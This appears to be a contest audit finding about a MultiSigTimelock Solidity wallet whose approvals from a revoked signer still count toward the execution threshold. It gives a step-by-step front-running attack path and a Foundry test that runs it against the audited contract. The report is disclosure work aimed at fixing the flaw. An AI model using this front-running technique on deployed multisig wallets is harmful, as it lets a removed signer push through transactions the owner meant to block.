MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: low
Likelihood: medium

transaction confirmation never gets revoked by a removed signer

Author Revealed upon completion

Root + Impact

Description

only owner is allowed to grant and revoke multisig wallet holder, with up to a total of 5 holders including owner itself. a transaction proposed by owner should gets approved by at least 3 people in order to execute the transaction, regardless of the total holder of such multisig wallet

if one of the holder should no longer be in such multisig wallet, owner can revoke it. this is expected and has no issue, however, i notice that the approval by such user is still counted even after getting revoked.

function revokeSigningRole(address _account) external nonReentrant onlyOwner noneZeroAddress(_account) {
// note such account must be a user already
// note cannot revoke first user (the owner)
if (!s_isSigner[_account]) {
revert MultiSigTimelock__AccountIsNotASigner();
}
if (s_signerCount <= 1) {
revert MultiSigTimelock__CannotRevokeLastSigner();
}
​
// Find the index of the account in the array
uint256 indexToRemove = type(uint256).max; // Use max as "not found" indicator
for (uint256 i = 0; i < s_signerCount; i++) {
if (s_signers[i] == _account) {
indexToRemove = i;
break;
}
}
​
// Gas-efficient array removal: move last element to removed position
if (indexToRemove < s_signerCount - 1) {
// Move the last signer to the position of the removed signer
s_signers[indexToRemove] = s_signers[s_signerCount - 1];
}
​
// Clear the last position and decrement count
s_signers[s_signerCount - 1] = address(0);
s_signerCount -= 1;
​
s_isSigner[_account] = false;
_revokeRole(SIGNING_ROLE, _account);
​
// @audit q ok user has quit the multisig wallet, but what if this guy has approved a tx previously, does this confirmation still exist/counted ?
}

Risk

Likelihood:

  • assuming pending transaction (owner proposed but has yet to be executed) exist

  • a user (multisig holder) knows that he will gets revoked from this multisig, he can frontrun the owner revoke's action by approving the transaction, leaving this user's approval still exist/counted in this transaction approval

Impact:

  • based on the business logic, a minimum of 3 users should approve the proposed transaction in order to have it executed

  • a user who had previously approved the transaction and has been revoked will still counted in this constraint, allowing a non-signer approval also gets submitted and not getting removed.

Proof of Concept

attacker path:

  1. owner has granted user1, user2, user3 and user4

  2. owner propose a transaction

  3. owner and user1 has approved this transaction

  4. before the third confirmation is made, owner realize that user2 should not be here for some reason

  5. owner decided to revoke user2 and invite user5

  6. user2 knows it, he frontrun the owner's transaction by approving the existing proposed transaction

  7. since user2 has submitted the confirmation right before he is getting rovoked, and the revoke functionaity does not check if such user has an active confirmation on a pending transaction, resulting an additional approval exist by a non-existing user

  8. user5 saw the minimum confirmation has reached, he executes the transaction.

  9. the transaction went successfully with a minimum of 3 approvals, even with the third confirmation is made by a revoked user

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import {Test} from "forge-std/Test.sol";
import {MultiSigTimelock} from "../src/MultiSigTimelock.sol";
​
contract auditTest is Test {
​
MultiSigTimelock wallet;
​
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address user5 = makeAddr("user5");
​
function setUp() public {
vm.startPrank(owner);
wallet = new MultiSigTimelock();
assertEq(wallet.hasRole(wallet.getSigningRole(), owner), true);
vm.stopPrank();
}
​
function test_approval_by_revokedUser_is_counted() public {
vm.startPrank(owner);
// owner grant 4 users
wallet.grantSigningRole(user1);
wallet.grantSigningRole(user2);
wallet.grantSigningRole(user3);
wallet.grantSigningRole(user4);
​
// total of max 5 users has reached here ... (regardless as long as at least 3 users)
// after some time, owner propose a txn
// owner approve his own txn
uint txnId = wallet.proposeTransaction(address(123), 0, hex"");
wallet.confirmTransaction(txnId);
vm.stopPrank();
​
// user1 approve the transaction
vm.prank(user1);
wallet.confirmTransaction(txnId);
​
// owner decided to revoke user2's signing role
// and grant user5 signing role instead
// however, this action gets frontrun by user2
​
// vm.startPrank(owner);
// wallet.revokeSigningRole(user2);
// wallet.grantSigningRole(user5);
// vm.stopPrank();
// user2 frontrun action here ...
vm.prank(user2);
wallet.confirmTransaction(txnId);
​
// then owner action happens here ...
vm.startPrank(owner);
wallet.revokeSigningRole(user2);
wallet.grantSigningRole(user5);
vm.stopPrank();
​
// user5 checks the owner proposed transaction details
// and sees that the minimum approvals have been met
MultiSigTimelock.Transaction memory txn = wallet.getTransaction(txnId);
assertEq(txn.confirmations, 3); // owner, user1, user2 (revoked user2 is still counted !!)
​
// in order to safe gas fees
// user5 directly execute the transaction
// without approve the transaction
vm.prank(user5);
wallet.executeTransaction(txnId);
}
​
}

create a test file and paste the PoC above into the test file, and run the test.

Recommended Mitigation

consider having a variable that keep track of the signer approval, and remove the entire approval history when revoke action is called by the owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!